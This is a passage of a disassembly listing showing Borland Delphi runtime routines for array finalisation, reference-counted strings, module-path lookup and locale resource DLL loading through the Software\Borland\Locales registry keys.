CODE XREF: sub_20004A34+7j mov al, 10h call sub_20002750 sub_20004A34 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20004A4C proc near ; CODE XREF: sub_20004A4C+CFp ; sub_20004B68+ACp push ebx push esi push edi push ebp mov ebx, eax mov esi, edx xor eax, eax mov al, [ecx+1] lea edi, [eax+ecx+0Ah] mov ebp, [edi-4] xor eax, eax mov ecx, [edi-8] push ecx loc_20004A66: ; CODE XREF: sub_20004A4C+100j mov ecx, [edi+4] sub ecx, eax jle short loc_20004A78 mov edx, eax add eax, esi add edx, ebx call sub_200027FC loc_20004A78: ; CODE XREF: sub_20004A4C+1Fj mov eax, [edi+4] mov edx, [edi] mov edx, [edx] mov cl, [edx] cmp cl, 0Ah jz short loc_20004AB7 cmp cl, 0Bh jz short loc_20004AC8 cmp cl, 0Ch jz short loc_20004AD9 cmp cl, 0Dh jz short loc_20004AEA cmp cl, 0Eh jz short loc_20004B0A cmp cl, 0Fh jz loc_20004B23 cmp cl, 11h jz loc_20004B34 mov al, 2 pop ebp pop edi pop esi pop ebx jmp sub_20002750 ; --------------------------------------------------------------------------- loc_20004AB7: ; CODE XREF: sub_20004A4C+38j mov edx, [eax+esi] add eax, ebx call sub_20003FFC mov eax, 4 jmp short loc_20004B45 ; --------------------------------------------------------------------------- loc_20004AC8: ; CODE XREF: sub_20004A4C+3Dj mov edx, [eax+esi] add eax, ebx call sub_200046A0 mov eax, 4 jmp short loc_20004B45 ; --------------------------------------------------------------------------- loc_20004AD9: ; CODE XREF: sub_20004A4C+42j lea edx, [eax+esi] add eax, ebx call sub_20004A34 mov eax, 10h jmp short loc_20004B45 ; --------------------------------------------------------------------------- loc_20004AEA: ; CODE XREF: sub_20004A4C+47j xor ecx, ecx mov cl, [edx+1] push dword ptr [ecx+edx+2] push dword ptr [ecx+edx+6] mov ecx, [ecx+edx+0Ah] mov ecx, [ecx] lea edx, [eax+esi] add eax, ebx call sub_20004B68 pop eax jmp short loc_20004B45 ; --------------------------------------------------------------------------- loc_20004B0A: ; CODE XREF: sub_20004A4C+4Cj xor ecx, ecx mov cl, [edx+1] mov ecx, [ecx+edx+2] push ecx mov ecx, edx lea edx, [eax+esi] add eax, ebx call sub_20004A4C pop eax jmp short loc_20004B45 ; --------------------------------------------------------------------------- loc_20004B23: ; CODE XREF: sub_20004A4C+51j mov edx, [eax+esi] add eax, ebx call sub_2000550C mov eax, 4 jmp short loc_20004B45 ; --------------------------------------------------------------------------- loc_20004B34: ; CODE XREF: sub_20004A4C+5Aj mov ecx, edx mov edx, [eax+esi] add eax, ebx call sub_20004E8C mov eax, 4 loc_20004B45: ; CODE XREF: sub_20004A4C+7Aj ; sub_20004A4C+8Bj ... add eax, [edi+4] add edi, 8 dec ebp jnz loc_20004A66 pop ecx sub ecx, eax jle short loc_20004B61 lea edx, [eax+ebx] add eax, esi call sub_200027FC loc_20004B61: ; CODE XREF: sub_20004A4C+109j pop ebp pop edi pop esi pop ebx retn sub_20004A4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004B68 proc near ; CODE XREF: sub_20004A4C+B6p ; sub_20004B68+98p ... arg_0 = dword ptr 4 push ebx push esi push edi push ebp mov ebx, eax mov esi, edx mov edi, ecx mov ebp, [esp+10h+arg_0] mov cl, [edi] cmp cl, 0Ah jz short loc_20004BAE cmp cl, 0Bh jz short loc_20004BC5 cmp cl, 0Ch jz short loc_20004BD9 cmp cl, 0Dh jz short loc_20004BED cmp cl, 0Eh jz short loc_20004C0E cmp cl, 0Fh jz loc_20004C2B cmp cl, 11h jz loc_20004C3F mov al, 2 pop ebp pop edi pop esi pop ebx jmp sub_20002750 ; --------------------------------------------------------------------------- loc_20004BAE: ; CODE XREF: sub_20004B68+13j ; sub_20004B68+56j mov eax, ebx mov edx, [esi] call sub_20003FFC add ebx, 4 add esi, 4 dec ebp jnz short loc_20004BAE jmp loc_20004C53 ; --------------------------------------------------------------------------- loc_20004BC5: ; CODE XREF: sub_20004B68+18j ; sub_20004B68+6Dj mov eax, ebx mov edx, [esi] call sub_200046A0 add ebx, 4 add esi, 4 dec ebp jnz short loc_20004BC5 jmp short loc_20004C53 ; --------------------------------------------------------------------------- loc_20004BD9: ; CODE XREF: sub_20004B68+1Dj ; sub_20004B68+81j mov eax, ebx mov edx, esi call sub_20004A34 add ebx, 10h add esi, 10h dec ebp jnz short loc_20004BD9 jmp short loc_20004C53 ; --------------------------------------------------------------------------- loc_20004BED: ; CODE XREF: sub_20004B68+22j xor ecx, ecx mov cl, [edi+1] lea edi, [ecx+edi+2] loc_20004BF6: ; CODE XREF: sub_20004B68+A2j mov eax, ebx mov edx, esi mov ecx, [edi+8] push dword ptr [edi+4] call sub_20004B68 add ebx, [edi] add esi, [edi] dec ebp jnz short loc_20004BF6 jmp short loc_20004C53 ; --------------------------------------------------------------------------- loc_20004C0E: ; CODE XREF: sub_20004B68+27j ; sub_20004B68+BFj mov eax, ebx mov edx, esi mov ecx, edi call sub_20004A4C xor eax, eax mov al, [edi+1] add ebx, [eax+edi+2] add esi, [eax+edi+2] dec ebp jnz short loc_20004C0E jmp short loc_20004C53 ; --------------------------------------------------------------------------- loc_20004C2B: ; CODE XREF: sub_20004B68+2Cj ; sub_20004B68+D3j mov eax, ebx mov edx, [esi] call sub_2000550C add ebx, 4 add esi, 4 dec ebp jnz short loc_20004C2B jmp short loc_20004C53 ; --------------------------------------------------------------------------- loc_20004C3F: ; CODE XREF: sub_20004B68+35j ; sub_20004B68+E9j mov eax, ebx mov edx, [esi] mov ecx, edi call sub_20004E8C add ebx, 4 add esi, 4 dec ebp jnz short loc_20004C3F loc_20004C53: ; CODE XREF: sub_20004B68+58j ; sub_20004B68+6Fj ... pop ebp pop edi pop esi pop ebx retn 4 sub_20004B68 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 loc_20004C5C: ; DATA XREF: sub_20005AB4+2Fo mov al, 11h jmp sub_20002750 ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20004C64 proc near ; CODE XREF: sub_20007668+43p ; sub_20007668+5Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edx push eax mov eax, [esp+8+arg_4] mul [esp+8+var_8] mov ecx, eax mov eax, [esp+8+var_4] mul [esp+8+arg_0] add ecx, eax mov eax, [esp+8+var_8] mul [esp+8+arg_0] add edx, ecx pop ecx pop ecx retn 8 sub_20004C64 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_20004C88 proc near ; CODE XREF: sub_20004C90p ; sub_200072D4+5p ... test eax, eax jz short locret_20004C8F mov eax, [eax-4] locret_20004C8F: ; CODE XREF: sub_20004C88+2j retn sub_20004C88 endp ; =============== S U B R O U T I N E ======================================= sub_20004C90 proc near ; CODE XREF: sub_200073A0+39p ; sub_200073A0+5Cp call sub_20004C88 dec eax retn sub_20004C90 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20004C98 proc near ; CODE XREF: sub_20004CB8+106p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_20004B68 pop ebp retn 4 sub_20004C98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_20004CA8 proc near ; CODE XREF: sub_20004CB8+B0p jmp sub_2000493C sub_20004CA8 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20004CB0 proc near ; CODE XREF: sub_20004CB8+2Fp call sub_20004E50 retn sub_20004CB0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20004CB8 proc near ; CODE XREF: sub_20004CB8+173p ; sub_20004E44+5p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi push edi mov [ebp+var_8], ecx mov esi, edx mov [ebp+var_4], eax mov ebx, [ebp+var_4] mov ebx, [ebx] mov eax, [ebp+arg_0] mov edi, [eax] test edi, edi jg short loc_20004CF1 test edi, edi jge short loc_20004CE2 mov al, 4 call sub_20002750 ; --------------------------------------------------------------------------- loc_20004CE2: ; CODE XREF: sub_20004CB8+21j mov eax, [ebp+var_4] mov edx, esi call sub_20004CB0 jmp loc_20004E3B ; --------------------------------------------------------------------------- loc_20004CF1: ; CODE XREF: sub_20004CB8+1Dj xor eax, eax mov [ebp+var_10], eax test ebx, ebx jz short loc_20004D05 sub ebx, 4 mov eax, [ebx] mov [ebp+var_10], eax sub ebx, 4 loc_20004D05: ; CODE XREF: sub_20004CB8+40j xor eax, eax mov al, [esi+1] add esi, eax mov eax, esi mov edx, [eax+2] mov [ebp+var_18], edx mov edx, [eax+6] test edx, edx jz short loc_20004D1F mov esi, [edx] jmp short loc_20004D21 ; --------------------------------------------------------------------------- loc_20004D1F: ; CODE XREF: sub_20004CB8+61j xor esi, esi loc_20004D21: ; CODE XREF: sub_20004CB8+65j mov eax, edi imul [ebp+var_18] mov [ebp+var_1C], eax mov eax, [ebp+var_1C] cdq idiv edi cmp eax, [ebp+var_18] jz short loc_20004D3B mov al, 4 call sub_20002750 ; --------------------------------------------------------------------------- loc_20004D3B: ; CODE XREF: sub_20004CB8+7Aj add [ebp+var_1C], 8 test ebx, ebx jz short loc_20004D48 cmp dword ptr [ebx], 1 jnz short loc_20004D7D loc_20004D48: ; CODE XREF: sub_20004CB8+89j mov [ebp+var_20], ebx cmp edi, [ebp+var_10] jge short loc_20004D6D test esi, esi jz short loc_20004D6D mov eax, ebx add eax, 8 mov edx, edi imul edx, [ebp+var_18] add eax, edx mov ecx, [ebp+var_10] sub ecx, edi mov edx, esi call sub_20004CA8 loc_20004D6D: ; CODE XREF: sub_20004CB8+96j ; sub_20004CB8+9Aj lea eax, [ebp+var_20] mov edx, [ebp+var_1C] call sub_200026A8 mov ebx, [ebp+var_20] jmp short loc_20004DDB ; --------------------------------------------------------------------------- loc_20004D7D: ; CODE XREF: sub_20004CB8+8Ej dec dword ptr [ebx] mov eax, [ebp+var_1C] call sub_20002668 mov ebx, eax mov eax, [ebp+var_10] mov [ebp+var_14], eax cmp edi, [ebp+var_14] jge short loc_20004D97 mov [ebp+var_14], edi loc_20004D97: ; CODE XREF: sub_20004CB8+DAj test esi, esi jz short loc_20004DC5 mov edx, [ebp+var_14] imul edx, [ebp+var_18] mov eax, ebx add eax, 8 xor ecx, ecx call sub_20002E38 mov eax, [ebp+var_14] push eax mov edx, [ebp+var_4] mov edx, [edx] mov eax, ebx add eax, 8 mov ecx, esi call sub_20004C98 jmp short loc_20004DDB ; --------------------------------------------------------------------------- loc_20004DC5: ; CODE XREF: sub_20004CB8+E1j mov ecx, [ebp+var_14] imul ecx, [ebp+var_18] mov edx, ebx add edx, 8 mov eax, [ebp+var_4] mov eax, [eax] call sub_200027FC loc_20004DDB: ; CODE XREF: sub_20004CB8+C3j ; sub_20004CB8+10Bj mov dword ptr [ebx], 1 add ebx, 4 mov [ebx], edi add ebx, 4 mov edx, edi sub edx, [ebp+var_10] imul edx, [ebp+var_18] mov eax, [ebp+var_18] imul eax, [ebp+var_10] add eax, ebx xor ecx, ecx call sub_20002E38 cmp [ebp+var_8], 1 jle short loc_20004E36 add [ebp+arg_0], 4 dec [ebp+var_8] dec edi test edi, edi jl short loc_20004E36 inc edi mov [ebp+var_C], 0 loc_20004E1C: ; CODE XREF: sub_20004CB8+17Cj mov eax, [ebp+arg_0] push eax mov eax, [ebp+var_C] lea eax, [ebx+eax*4] mov ecx, [ebp+var_8] mov edx, esi call sub_20004CB8 inc [ebp+var_C] dec edi jnz short loc_20004E1C loc_20004E36: ; CODE XREF: sub_20004CB8+14Ej ; sub_20004CB8+15Aj mov eax, [ebp+var_4] mov [eax], ebx loc_20004E3B: ; CODE XREF: sub_20004CB8+34j pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_20004CB8 endp ; =============== S U B R O U T I N E ======================================= sub_20004E44 proc near ; CODE XREF: sub_200072D4+20p ; sub_200072D4+57p var_4 = dword ptr -4 push esp add [esp+4+var_4], 4 call sub_20004CB8 retn sub_20004E44 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20004E50 proc near ; CODE XREF: sub_2000493C+D0p ; sub_20004CB0p ... mov ecx, [eax] test ecx, ecx jz short locret_20004E89 mov dword ptr [eax], 0 lock dec dword ptr [ecx-8] jnz short locret_20004E89 push eax mov eax, ecx xor ecx, ecx mov cl, [edx+1] mov edx, [ecx+edx+6] test edx, edx jz short loc_20004E80 mov ecx, [eax-4] test ecx, ecx jz short loc_20004E80 mov edx, [edx] call sub_2000493C loc_20004E80: ; CODE XREF: sub_20004E50+20j ; sub_20004E50+27j sub eax, 8 call sub_20002688 pop eax locret_20004E89: ; CODE XREF: sub_20004E50+4j ; sub_20004E50+10j retn sub_20004E50 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004E8C proc near ; CODE XREF: sub_20004A4C+EFp ; sub_20004B68+DDp push ebx mov ebx, [eax] test edx, edx jz short loc_20004E97 lock inc dword ptr [edx-8] loc_20004E97: ; CODE XREF: sub_20004E8C+5j test ebx, ebx jz short loc_20004EAF lock dec dword ptr [ebx-8] jnz short loc_20004EAF push eax push edx mov edx, ecx inc dword ptr [ebx-8] call sub_20004E50 pop edx pop eax loc_20004EAF: ; CODE XREF: sub_20004E8C+Dj ; sub_20004E8C+13j mov [eax], edx pop ebx retn sub_20004E8C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004EB4 proc near ; CODE XREF: sub_2000FCAC+Cp Buffer = _MEMORY_BASIC_INFORMATION ptr -1Ch add esp, 0FFFFFFE4h push 1Ch ; dwLength lea edx, [esp+20h+Buffer] push edx ; lpBuffer push eax ; lpAddress call VirtualQuery cmp [esp+1Ch+Buffer.State], 1000h jnz short loc_20004ED4 mov eax, [esp+1Ch+Buffer.AllocationBase] jmp short loc_20004ED6 ; --------------------------------------------------------------------------- loc_20004ED4: ; CODE XREF: sub_20004EB4+18j xor eax, eax loc_20004ED6: ; CODE XREF: sub_20004EB4+1Ej add esp, 1Ch retn sub_20004EB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004EDC proc near ; CODE XREF: sub_20004F24+1Bp Filename = byte ptr -110h push ebx push esi add esp, 0FFFFFEF8h mov ebx, eax cmp dword ptr [ebx+10h], 0 jnz short loc_20004F17 push 105h ; nSize lea eax, [esp+114h+Filename] push eax ; lpFilename mov eax, [ebx+4] push eax ; hModule call GetModuleFileNameA mov eax, esp mov dl, 1 call sub_20005118 mov esi, eax mov [ebx+10h], esi test esi, esi jnz short loc_20004F17 mov eax, [ebx+4] mov [ebx+10h], eax loc_20004F17: ; CODE XREF: sub_20004EDC+Ej ; sub_20004EDC+33j mov eax, [ebx+10h] add esp, 108h pop esi pop ebx retn sub_20004EDC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20004F24 proc near ; CODE XREF: sub_20005994+2Bp ; CODE:2000A380p ... mov edx, ds:dword_20014034 test edx, edx jz short locret_20004F4B loc_20004F2E: ; CODE XREF: sub_20004F24+25j cmp eax, [edx+4] jz short loc_20004F3D cmp eax, [edx+8] jz short loc_20004F3D cmp eax, [edx+0Ch] jnz short loc_20004F45 loc_20004F3D: ; CODE XREF: sub_20004F24+Dj ; sub_20004F24+12j mov eax, edx call sub_20004EDC retn ; --------------------------------------------------------------------------- loc_20004F45: ; CODE XREF: sub_20004F24+17j mov edx, [edx] test edx, edx jnz short loc_20004F2E locret_20004F4B: ; CODE XREF: sub_20004F24+8j retn sub_20004F24 endp ; =============== S U B R O U T I N E ======================================= sub_20004F4C proc near ; CODE XREF: sub_20004F60+83p ; sub_20004F60+96p ... jmp short loc_20004F54 ; --------------------------------------------------------------------------- loc_20004F4E: ; CODE XREF: sub_20004F4C+11j push eax ; lpsz call CharNextA loc_20004F54: ; CODE XREF: sub_20004F4Cj mov dl, [eax] test dl, dl jz short locret_20004F5F cmp dl, 5Ch jnz short loc_20004F4E locret_20004F5F: ; CODE XREF: sub_20004F4C+Cj retn sub_20004F4C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20004F60 proc near ; CODE XREF: sub_20005118+A3p String1 = byte ptr -24Fh FindFileData = _WIN32_FIND_DATAA ptr -14Ah iMaxLength = dword ptr -8 lpString2 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFDB0h push ebx push esi push edi mov [ebp+iMaxLength], edx mov [ebp+lpString2], eax mov eax, [ebp+lpString2] mov dword ptr [ebp+FindFileData._padding], eax push offset ModuleName ; "kernel32.dll" call GetModuleHandleA mov esi, eax test esi, esi jz short loc_20004FC8 push offset ProcName ; "GetLongPathNameA" push esi ; hModule call GetProcAddress mov ebx, eax test ebx, ebx jz short loc_20004FC8 push 105h lea eax, [ebp+String1] push eax mov eax, [ebp+lpString2] push eax call ebx test eax, eax jz short loc_20004FC8 mov eax, [ebp+iMaxLength] push eax ; iMaxLength lea eax, [ebp+String1] push eax ; lpString2 mov eax, [ebp+lpString2] push eax ; lpString1 call lstrcpynA jmp loc_200050EA ; --------------------------------------------------------------------------- loc_20004FC8: ; CODE XREF: sub_20004F60+26j ; sub_20004F60+37j ... mov eax, [ebp+lpString2] cmp byte ptr [eax], 5Ch jnz short loc_20005008 mov eax, [ebp+lpString2] cmp byte ptr [eax+1], 5Ch jnz loc_200050EA mov eax, [ebp+lpString2] add eax, 2 call sub_20004F4C mov esi, eax cmp byte ptr [esi], 0 jz loc_200050EA lea eax, [esi+1] call sub_20004F4C mov esi, eax cmp byte ptr [esi], 0 jz loc_200050EA jmp short loc_2000500E ; --------------------------------------------------------------------------- loc_20005008: ; CODE XREF: sub_20004F60+6Ej mov esi, [ebp+lpString2] add esi, 2 loc_2000500E: ; CODE XREF: sub_20004F60+A6j mov ebx, esi sub ebx, [ebp+lpString2] lea eax, [ebx+1] push eax ; iMaxLength mov eax, [ebp+lpString2] push eax ; lpString2 lea eax, [ebp+String1] push eax ; lpString1 call lstrcpynA jmp loc_200050CD ; --------------------------------------------------------------------------- loc_2000502C: ; CODE XREF: sub_20004F60+170j lea eax, [esi+1] call sub_20004F4C mov edi, eax mov eax, edi sub eax, esi mov edx, eax add edx, ebx inc edx cmp edx, 105h jg loc_200050EA inc eax push eax ; iMaxLength push esi ; lpString2 lea eax, [ebp+String1] add eax, ebx push eax ; lpString1 call lstrcpynA lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+String1] push eax ; lpFileName call FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_200050EA push esi ; hFindFile call FindClose lea eax, [ebp+FindFileData.cFileName] push eax ; lpString call lstrlenA lea edx, [ebx+1] add eax, edx inc eax cmp eax, 105h jg short loc_200050EA mov [ebp+ebx+String1], 5Ch mov eax, 105h sub eax, ebx dec eax push eax ; iMaxLength lea eax, [ebp+FindFileData.cFileName] push eax ; lpString2 lea eax, [ebp+String1] add eax, ebx inc eax push eax ; lpString1 call lstrcpynA lea eax, [ebp+FindFileData.cFileName] push eax ; lpString call lstrlenA inc eax add ebx, eax mov esi, edi loc_200050CD: ; CODE XREF: sub_20004F60+C7j cmp byte ptr [esi], 0 jnz loc_2000502C mov eax, [ebp+iMaxLength] push eax ; iMaxLength lea eax, [ebp+String1] push eax ; lpString2 mov eax, [ebp+lpString2] push eax ; lpString1 call lstrcpynA loc_200050EA: ; CODE XREF: sub_20004F60+63j ; sub_20004F60+77j ... mov eax, dword ptr [ebp+FindFileData._padding] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_20004F60 endp ; --------------------------------------------------------------------------- ; char ModuleName[] ModuleName db 'kernel32.dll',0 ; DATA XREF: sub_20004F60+18o align 4 ; char ProcName[] ProcName db 'GetLongPathNameA',0 ; DATA XREF: sub_20004F60+28o align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005118 proc near ; CODE XREF: sub_20004EDC+27p ValueName = byte ptr -11Dh cbData = dword ptr -18h String2 = byte ptr -12h var_E = byte ptr -0Eh LCData = byte ptr -0Dh var_B = byte ptr -0Bh hKey = dword ptr -8 lpString2 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEE0h push ebx push esi mov [ebp+lpString2], eax push 105h ; nSize lea eax, [ebp+ValueName] push eax ; lpFilename push 0 ; hModule call GetModuleFileNameA mov [ebp+String2], 0 lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset SubKey ; "Software\\Borland\\Locales" push 80000001h ; hKey call RegOpenKeyExA test eax, eax jz short loc_2000519B lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset SubKey ; "Software\\Borland\\Locales" push 80000002h ; hKey call RegOpenKeyExA test eax, eax jz short loc_2000519B lea eax, [ebp+hKey] push eax ; phkResult push 0F0019h ; samDesired push 0 ; ulOptions push offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales" push 80000001h ; hKey call RegOpenKeyExA test eax, eax jnz loc_20005224 loc_2000519B: ; CODE XREF: sub_20005118+41j ; sub_20005118+5Fj xor eax, eax push ebp push offset loc_2000521D push dword ptr fs:[eax] mov fs:[eax], esp mov [ebp+cbData], 5 lea eax, [ebp+ValueName] mov edx, 105h call sub_20004F60 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+String2] push eax ; lpData push 0 ; lpType push 0 ; lpReserved lea eax, [ebp+ValueName] push eax ; lpValueName mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA test eax, eax jz short loc_20005202 lea eax, [ebp+cbData] push eax ; lpcbData lea eax, [ebp+String2] push eax ; lpData push 0 ; lpType push 0 ; lpReserved push offset ValueName ; lpValueName mov eax, [ebp+hKey] push eax ; hKey call RegQueryValueExA test eax, eax jz short loc_20005202 mov [ebp+String2], 0 loc_20005202: ; CODE XREF: sub_20005118+C6j ; sub_20005118+E4j mov [ebp+var_E], 0 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005224 loc_20005213: ; CODE XREF: sub_20005118+10Aj mov eax, [ebp+hKey] push eax ; hKey call RegCloseKey retn ; --------------------------------------------------------------------------- loc_2000521D: ; DATA XREF: sub_20005118+86o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005213 ; --------------------------------------------------------------------------- loc_20005224: ; CODE XREF: sub_20005118+7Dj ; sub_20005118+104j ; DATA XREF: ... push 105h ; iMaxLength mov eax, [ebp+lpString2] push eax ; lpString2 lea eax, [ebp+ValueName] push eax ; lpString1 call lstrcpynA push 5 ; cchData lea eax, [ebp+LCData] push eax ; lpLCData push 3 ; LCType call GetThreadLocale push eax ; Locale call GetLocaleInfoA xor esi, esi cmp [ebp+ValueName], 0 jz loc_2000533E cmp [ebp+LCData], 0 jnz short loc_2000526B cmp [ebp+String2], 0 jz loc_2000533E loc_2000526B: ; CODE XREF: sub_20005118+147j lea eax, [ebp+ValueName] push eax ; lpString call lstrlenA mov ebx, eax lea eax, [ebp+ValueName] add ebx, eax jmp short loc_20005284 ; --------------------------------------------------------------------------- loc_20005283: ; CODE XREF: sub_20005118+179j dec ebx loc_20005284: ; CODE XREF: sub_20005118+169j cmp byte ptr [ebx], 2Eh jz short loc_20005293 lea eax, [ebp+ValueName] cmp ebx, eax jnz short loc_20005283 loc_20005293: ; CODE XREF: sub_20005118+16Fj lea eax, [ebp+ValueName] cmp ebx, eax jz loc_2000533E inc ebx cmp [ebp+String2], 0 jz short loc_200052D0 mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+String2] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax loc_200052D0: ; CODE XREF: sub_20005118+18Ej test esi, esi jnz short loc_2000533E cmp [ebp+LCData], 0 jz short loc_2000533E lea eax, [ebp+ValueName] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+LCData] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax test esi, esi jnz short loc_2000533E mov [ebp+var_B], 0 lea eax, [ebp+ValueName] mov edx, ebx sub edx, eax mov eax, 105h sub eax, edx push eax ; iMaxLength lea eax, [ebp+LCData] push eax ; lpString2 push ebx ; lpString1 call lstrcpynA push 2 ; dwFlags push 0 ; hFile lea eax, [ebp+ValueName] push eax ; lpLibFileName call LoadLibraryExA mov esi, eax loc_2000533E: ; CODE XREF: sub_20005118+13Dj ; sub_20005118+14Dj ... mov eax, esi pop esi pop ebx mov esp, ebp pop ebp retn sub_20005118 endp ; --------------------------------------------------------------------------- align 4 ; char SubKey[] SubKey db 'Software\Borland\Locales',0 ; DATA XREF: sub_20005118+30o ; sub_20005118+4Eo align 4 ; char aSoftwareBorl_1[] aSoftwareBorl_1 db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_20005118+6Co ; char ValueName[] ValueName db 4 dup(0) ; DATA XREF: sub_20005118+D4o ; =============== S U B R O U T I N E ======================================= sub_20005388 proc near ; CODE XREF: CODE:200126D4p call sub_20005398 retn sub_20005388 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20005390 proc near ; CODE XREF: CODE:2001266Ep call sub_200053B8 retn sub_20005390 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005398 proc near ; CODE XREF: sub_20005388p push ebx mov ebx, eax mov eax, 8 call sub_20002668 mov edx, ds:dword_20014038 mov [eax], edx mov [eax+4], ebx mov ds:dword_20014038, eax pop ebx retn sub_20005398 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200053B8 proc near ; CODE XREF: sub_20005390p push ebx push esi mov esi, ds:dword_20014038 test esi, esi jz short loc_200053E6 mov edx, [esi+4] cmp edx, eax jnz short loc_200053E6 mov eax, ds:dword_20014038 mov eax, [eax] mov ds:dword_20014038, eax mov edx, 8 mov eax, esi call sub_20002688 pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_200053E6: ; CODE XREF: sub_200053B8+Aj ; sub_200053B8+11j mov edx, esi test edx, edx jz short loc_20005413 loc_200053EC: ; CODE XREF: sub_200053B8+59j mov ecx, [edx] test ecx, ecx jz short loc_2000540D mov ebx, [ecx+4] cmp ebx, eax jnz short loc_2000540D mov esi, ecx mov eax, [ecx] mov [edx], eax mov edx, 8 mov eax, esi call sub_20002688 jmp short loc_20005413 ; --------------------------------------------------------------------------- loc_2000540D: ; CODE XREF: sub_200053B8+38j ; sub_200053B8+3Fj mov edx, [edx] test edx, edx jnz short loc_200053EC loc_20005413: ; CODE XREF: sub_200053B8+32j ; sub_200053B8+53j pop esi pop ebx retn sub_200053B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005418 proc near ; CODE XREF: sub_20005484+1Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi push edi mov [ebp+var_4], eax mov eax, ds:dword_20014038 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_2000546B loc_20005432: ; CODE XREF: sub_20005418+51j xor eax, eax push ebp push offset loc_20005453 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, [ebp+var_8] mov eax, [ebp+var_4] call dword ptr [ebx+4] xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx jmp short loc_2000545D ; --------------------------------------------------------------------------- loc_20005453: ; DATA XREF: sub_20005418+1Do jmp sub_200038A4 ; --------------------------------------------------------------------------- call sub_20003A84 loc_2000545D: ; CODE XREF: sub_20005418+39j mov eax, [ebp+var_8] mov eax, [eax] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_20005432 loc_2000546B: ; CODE XREF: sub_20005418+18j pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn sub_20005418 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005474 proc near ; CODE XREF: sub_20005C40+5p mov edx, ds:dword_20014034 mov [eax], edx mov ds:dword_20014034, eax retn sub_20005474 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005484 proc near ; CODE XREF: sub_20003EB8+70p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax xor edx, edx push ebp push offset loc_200054E8 push dword ptr fs:[edx] mov fs:[edx], esp mov eax, [ebp+var_4] mov eax, [eax+4] call sub_20005418 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_200054EF loc_200054B1: ; CODE XREF: sub_20005484+69j mov eax, [ebp+var_4] cmp eax, ds:dword_20014034 jnz short loc_200054C8 mov eax, [ebp+var_4] mov eax, [eax] mov ds:dword_20014034, eax jmp short loc_200054E7 ; 